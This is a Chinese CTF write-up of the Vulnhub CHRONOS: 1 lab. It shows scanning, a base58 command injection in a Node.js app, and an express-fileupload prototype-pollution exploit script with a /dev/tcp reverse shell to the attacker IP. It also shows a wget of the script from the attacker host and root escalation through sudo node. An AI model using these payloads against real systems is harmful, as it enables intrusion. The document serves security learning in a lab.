Vulnhub 靶场【CHRONOS: 1】
介绍
- 攻击机:kali (192.168.0.109)
- 靶机名称:CHRONOS: 1
- 打靶目标:取得 2 个 flag + root 权限
- 靶机运行平台:VirtualBox
- 难度:Medium
实战
因此时已于目标处于同一网段,直接使用主机发现工具进行主机发现,这里我采用了netdiscover
;
- 子网数最好在真实位数的基础上减掉8位
通过发送ARP广播数据包,对ARP地址的解析来进行主机发现
└─# netdiscover -r 192.168.0.0/16
Currently scanning: 192.168.255.0/16 | Screen View: Unique Hosts
187 Captured ARP Req/Rep packets, from 16 hosts. Total size: 11220
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.0.1 08:31:a4:41:a4:80 172 10320 Huawei Device Co., Ltd.
192.168.0.35 84:fd:d1:28:fe:ce 1 60 Intel Corporate
192.168.0.110 08:00:27:be:67:5d 1 60 PCS Systemtechnik GmbH
192.168.0.141 d4:61:9d:1b:84:2a 1 60 Apple, Inc.
192.168.0.148 b4:0e:de:f9:48:0e 1 60 Intel Corporate
找到目标主机后,使用Nmap
进行全端口扫描,再根据端口开放结果,进行服务版本探测;
└─# nmap -p- 192.168.0.110
Starting Nmap 7.92 ( https://nmap.org ) at 2022 EDT
Nmap scan report for 192.168.0.110
Host is up (0.00056s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8000/tcp open http-alt
MAC Address: 08:00:27:BE:67:5D (Oracle VirtualBox virtual NIC)
└─# nmap -p22,80,8000 -sV 192.168.0.110
Starting Nmap 7.92 ( https://nmap.org ) at 2022 EDT
Nmap scan report for 192.168.0.110
Host is up (0.00039s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
8000/tcp open http Node.js Express framework
MAC Address: 08:00:27:BE:67:5D (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
既然扫到对方开放了Web服务,打开浏览器访问,界面很简洁,表面看几乎无任何利用点;
一般而言,遇到类似这样的站点,常规方式就是爬站,将其隐藏路径、隐藏文件给爆破出来,但对于当前目标,并没有爆破出什么有价值的东西;
另一种常规方式就是ctrl + U
快捷键查看前端源代码,从代码中找到想要的东西 (隐藏的加载脚本、隐藏表单、隐藏接口、隐藏页面元素等);
很明显的能看到里面的script
标签内,有段被加载的脚本代码,将之转移至编辑器,还原美化整理;
整理后发现大多数内容被编码混淆处理了,想要完整获得此段代码的含义是很难的,因此就得对脚本内容进行编码处理;
但站在渗透的高效角度看,这不是第一选择,而应该是优先关注代码里出现的比较容易识别、较可疑的内容;
这段脚本绝大多数都是密文存在,只有一段URL是以明文形式存在,较为可疑,可能会存在某些可被利用的信息;
简单分析此URL:
- 主机名部分就是靶机名+本机名
- 指向端口是8000,而根据之前有扫描出过8000端口,也就是说有可能这个URL所指向的就是本机IP地址
- 后边给定了一个变量
date
,赋了一串奇怪的字符值给了format
- 很有可能就是当前Web应用程序在加载当前页面的过程中,会访问这个本地URL地址,去读取里面某些资源,然后放置到当前页面显示相应的信息
'http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL'
chronos.local
目前这个域名是没办法直接解析的,但根据之前分析,其有极大可能为目标靶机本身;
编辑 kali 本地 hosts 文件,将这个URL信息放进去,ping
的时候也是已经可以被正常解析;
回到浏览器刷新一下,信息立即被加载出来,信息为显示出当前系统时间;
使用 BurpSuite 抓包看一下数据包信息,一共产生了三个包:
- GET包:加载站点根目录页面
- OPTIONS包:客户端去查看服务器里数据包事先已指定去访问的某资源
- GET包:加载从服务端获取到的返回资源
问题:为什么从客户端浏览器向服务器提交这个URL请求数据,服务器会向客户端返回当前服务器系统时间?若修改一下该值,是否还会显示相同的效果?
测试了一下,发现修改后,服务器没有返回任何东西;
观察一下该值,从字符结构看,可能为 base64 编码,拿到工具里自动解析判断解码,发现确实是 base 系列编码,且为 base58 编码;
解出的密文如下:
'+Today is %A, %B %d, %Y %H:%M:%S.'
根据之前Nmap爆出的系统信息为Ubantu,若熟悉Linux操作系统就不难分析出这个密文是date
命令的一部分,它约定了date
的输出格式;
└─# date
Tue May 10 05:11:58 AM EDT 2022
└─# date '+Today is %A, %B %d, %Y %H:%M:%S.'
Today is Tuesday, May 10, 2022 05:12:07.
既然这里利用了操作系统指令,那可不可以通过命令注入来向这个变量注入更多的其它系统指令来达到想要的攻击结果呢?
通过加入一些特殊的符号,使之能执行多条指令
&
:使多条命令在后台运行!
:执行除了提供的条件外的所有的语句;
:执行多条命令,命令按顺序执行|
:将第一个命令的输出作为第二个命令的输入&&
:若前一个命令执行成功,才会执行后一个命令。前一个命令退出状态是0||
:若前一个命令执行失败,才会执行后一个命令。前一个命令退出状态是1{}
:合并两个或多个命令,第二个命令依赖于第一个命令的执行()
:让命令以优先顺序执行
因此,这里可使用&&
构造命令,结果发现是可以被命令注入的,这也就找到了一个命令注入漏洞点;
尝试直接查找目标机是否有nc,但结果似乎会出现异常;
尝试查看一下/bin
目录下所有内容,间接寻找有无nc,发现是有的;
但是不知道目标机 nc 版本以及是否能被正常启动,先测试一下是否能正常连接;
虽然反包内容中显示发生了异常错误,但是在监听中实打实收到了目标机的连接,说明目标机可以正常启用nc,且两方是可以正常建立网络连接通信的;
测试了一下是否包含-e
参数, 发现是没有的;
那就得基于管道用nc串联的方法进行反弹shell,直接成功;
获得Shell后,就要对整个系统进行必要的大量信息收集,如账号密码信息、敏感目录信息、敏感文件信息等;
查看当前系统下的所有用户信息,可以发现最后有一个叫 imera 的用户,进入home,确实是存在的,并且该用户目录下存在一个叫 user.txt 的可疑文件;
$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
imera:x:1000:1000:imera:/home/imera:/bin/bash
$ ls /home
imera
$ ls /home/imera
user.txt
但是该文件对于现在我们已获得Shell的这个用户而言,是没有查看权限的,因此就得提权至 imera ,甚至于root权限,使我们能查看该文件;
$ ls /home/imera -l
total 4
-rw------- 1 imera imera 37 Aug 3 2021 user.txt
查看当前路径中的所有文件,根据文件名,不难看出,这很有可能就是当前Web应用程序的一些相关源码文件;
$ pwd
/opt/chronos
$ ls -l
-rw-r--r-- 1 www-data www-data 1365 Aug 3 2021 app.js
drwxr-xr-x 56 www-data www-data 4096 Jul 30 2021 node_modules
-rw-r--r-- 1 www-data www-data 97 Jul 30 2021 package.json
-rw-r--r-- 1 www-data www-data 33602 Jul 30 2021 package-lock.json
之前使用Nmap对该靶机外网IP进行扫描时,就扫出了该靶机的Web应用框架,是采用了 node.js 的 Express框架;
那么这里,很显然就是对 node.js 的源码的代码审计;
基于 node.js 开发的应用程序,通常都是利用已有的框架或库,来进行开发。因为若是完全基于Javascript来开发底层,难度以及复杂度极高;
作为渗透人员而言,可能会时常面对新兴陌生事物,这就需要一个快速的检索以及学习能力,利用最短的时间去了解目标最本质、核心的技术或实现原理
在几乎所有基于 node.js 开发的项目之中,在其根目录,都会包含一个package.json
的文件;
该文件定义了整个该项目中所需要用到的所有模块、框架、项目配置信息等;
查看一下这里的该文件内容:
{
"dependencies": { //声明了当前Web应用程序所依赖的库和框架
"bs58": "^4.0.1", //解释了之前的提交数据是base58编码
"cors": "^2.8.5",
"express": "^4.17.1" //对应了Nmap扫描结果
}
}
通过文件名,判断出app.js
可能就是当前Web应用程序的主文件,查看一下源码内容:
// created by alienum for Penetration Testing
//加载了一些刚刚在 package.json 中看到的库、框架
const express = require('express');
const { exec } = require("child_process");
const bs58 = require('bs58');
const app = express();
const port = 8000; //Web应用程序的启动端口
const cors = require('cors');
app.use(cors());
app.get('/', (req,res) =>{
res.sendFile("/var/www/html/index.html"); //当用户尝试访问根目录时,路由重定向到指定内容
});
app.get('/date', (req, res) => { //当用户尝试访问date目录时,路由重定向到指定内容
var agent = req.headers['user-agent'];
var cmd = 'date ';
const format = req.query.format;
const bytes = bs58.decode(format);
var decoded = bytes.toString();
var concat = cmd.concat(decoded);
if (agent === 'Chronos') { //判断agent
if (concat.includes('id') || concat.includes('whoami') || concat.includes('python') || concat.includes('nc') || concat.includes('bash') || concat.includes('php') || concat.includes('which') || concat.includes('socat')) { // 过滤date命令里会包含的敏感指令
res.send("Something went wrong"); // 只做了报错提示,并未阻断指令运行
}
exec(concat, (error, stdout, stderr) => {
if (error) {
console.log(`error: ${error.message}`);
return;
}
if (stderr) {
console.log(`stderr: ${stderr}`);
return;
}
res.send(stdout);
});
}
else{
res.send("Permission Denied");
}
})
app.listen(port,() => {
console.log(`Server running at ${port}`);
})
主文件并没有对提权有价值的东西,只是让我们更了解了Web应用程序;
当前目录已经没有什么信息可探,回到上一级目录,查看一下这里面的文件以及所属权限;
$ pwd
/opt
$ ls -l
total 8
drwxr-xr-x 3 www-data www-data 4096 Aug 3 2021 chronos
drwxr-xr-x 4 root root 4096 Aug 3 2021 chronos-v2
意外发现了竟然有个 root 账户所属的Web应用,进入查看一下;
该Web应用提供了后端源码的查阅,进入后,同样存在package.json
的文件,照例查看源码:
$ls -l
total 12
drwxr-xr-x 3 root root 4096 Aug 3 2021 backend
drwxr-xr-x 3 root root 4096 Aug 3 2021 frontend
-rw-r--r-- 1 root root 381 Aug 3 2021 index.html
$ ls -l
total 56
drwxr-xr-x 71 root root 4096 Aug 3 2021 node_modules
-rw-r--r-- 1 root root 296 Jul 29 2021 package.json
-rw-r--r-- 1 root root 43066 Aug 3 2021 package-lock.json
-rw-r--r-- 1 root root 505 Aug 3 2021 server.js
{
"name": "some-website",
"version": "1.0.0",
"description": "",
"main": "server.js", //服务端程序文件名
"scripts": {
"start": "node server.js" //如何启动
},
"author": "",
"license": "ISC",
"dependencies": { //依赖信息
"ejs": "^3.1.5",
"express": "^4.17.1",
"express-fileupload": "^1.1.7-alpha.3" //根据名字,首先应想到是否能利用文件上传漏洞
}
}
查看一下服务端程序源代码:
//加载了一些库、框架
const express = require('express');
const fileupload = require("express-fileupload");
const http = require('http')
const app = express();
app.use(fileupload({ parseNested: true })); //这一模块的这一设置的开关设置为了true
app.set('view engine', 'ejs');
app.set('views', "/opt/chronos-v2/frontend/pages");
app.get('/', (req, res) => {
res.render('index')
});
//运行信息
const server = http.Server(app);
const addr = "127.0.0.1"
const port = 8080;
server.listen(port, addr, () => {
console.log('Server listening on ' + addr + ' port ' + port);
});
看到运行地址和端口,也就知道为什么扫描并没有扫出chronos-v2
这个Web应用程序,因为只有靶机本机才能访问到这个应用;
利用检索能力,查找关键词node.js express fileupload 漏洞
,尝试是否有利用可能;
先尝试在国内搜索引擎中检索,再到国外谷歌查找
最终找到利用脚本:
import requests
cmd = 'bash -c "bash -i &> /dev/tcp/192.168.0.109/8888 0>&1"'
# pollute
requests.post('http://127.0.0.1:8080', files = {'__proto__.outputFunctionName': (
None, f"x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x")})
# execute command
requests.get('http://127.0.0.1:8080')
将脚本写好后,在攻击机开启python的http服务,进入之前所获得的shell里,进入到tmp
目录(较容易写入外部文件),下载攻击机的脚本到目录下;
攻击机开启监听,在靶机shell中运行该脚本;
# python3 -m http.server 80
$cd /tmp
$wget http://192.168.0.109/fileupload.py
# nc -nvlp 8888
$ python3 fileupload.py
获得了刚刚最先开始查看当前系统的账户信息时,出现的用户shell,而且当时此用户家目录下还存在一个user.txt的文件,没有权限访问;
imera@chronos:/opt/chronos-v2/backend$ id
uid=1000(imera) gid=1000(imera) groups=1000(imera),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lxd)
此时再尝试去查看该文件权限所属,发现 imera 可以对其读取,查看之后,成功获取到第一个flag;
imera@chronos:~$ ls -l
ls -l
total 4
-rw------- 1 imera imera 37 Aug 3 2021 user.txt
imera@chronos:~$ cat user.txt
cat user.txt
byBjaHJvbm9zIHBlcm5hZWkgZmlsZSBtb3UK
继续利用此用户权限进行深一步的信息收集;
尝试进入root目录,没有权限;
imera@chronos:/$ cd root
cd root
bash: cd: root: Permission denied
尝试查看sudo权限配置有没有利用点,发现有两个可能会成功的点,利用检索能力,快速查找相关漏洞利用点;
imera@chronos:~$ sudo -l
sudo -l
Matching Defaults entries for imera on chronos:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User imera may run the following commands on chronos:
(ALL) NOPASSWD: /usr/local/bin/npm *
(ALL) NOPASSWD: /usr/local/bin/node *
node
在这里,就是有提权点的,可以进行一个 root 权限的反弹Shell;
imera@chronos:~$ sudo node -e 'child_process.spawn("/bin/bash",{stdio: [0,1,2]})'
<'child_process.spawn("/bin/bash",{stdio: [0,1,2]})'
id
uid=0(root) gid=0(root) groups=0(root)
这时再进入到root用户的家目录,发现里面有个txt文件,查看,找到最后一个flag;
$ cd /root
$ ls -l
total 4
-rw------- 1 root root 41 Aug 3 2021 root.txt
$ cat root.txt
YXBvcHNlIHNpb3BpIG1hemV1b3VtZSBvbmVpcmEK
本文作者:Zerimon
本文链接:https://www.cnblogs.com/Zerimon/p/16295244.html
版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步